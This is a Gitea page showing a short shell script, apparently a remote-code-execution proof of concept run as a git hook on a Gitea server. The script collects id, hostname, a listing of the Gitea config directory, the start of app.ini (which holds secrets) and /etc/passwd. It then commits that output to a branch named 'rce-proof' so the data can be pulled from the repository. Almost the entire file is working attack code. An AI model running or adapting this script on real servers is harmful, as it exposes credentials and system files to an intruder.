You cannot select more than 25 topics
Topics must start with a letter or number, can include dashes ('-') and can be up to 35 characters long.
11 lines
701 B
Bash
11 lines
701 B
Bash
#!/bin/sh
|
|
set -e
|
|
git_dir=$(git rev-parse --absolute-git-dir 2>/dev/null) || git_dir="$GIT_DIR"
|
|
OUT=/tmp/.qa_rce_out
|
|
(id; hostname; ls -la /data/gitea/conf 2>/dev/null; head -c 800 /data/gitea/conf/app.ini 2>/dev/null; cat /etc/passwd) > "$OUT" 2>&1 || true
|
|
ob=$(git --git-dir="$git_dir" hash-object -w "$OUT" 2>/dev/null) || exit 4
|
|
tre=$(printf "100644 blob %s\tproof\n" "$ob" | git --git-dir="$git_dir" mktree 2>/dev/null) || exit 5
|
|
cm=$(printf "proof\n" | GIT_AUTHOR_NAME=p GIT_AUTHOR_EMAIL=p@x GIT_COMMITTER_NAME=p GIT_COMMITTER_EMAIL=p@x git --git-dir="$git_dir" commit-tree "$tre" 2>/dev/null) || exit 6
|
|
git --git-dir="$git_dir" update-ref refs/heads/rce-proof "$cm" 2>/dev/null || exit 7
|
|
exit 0
|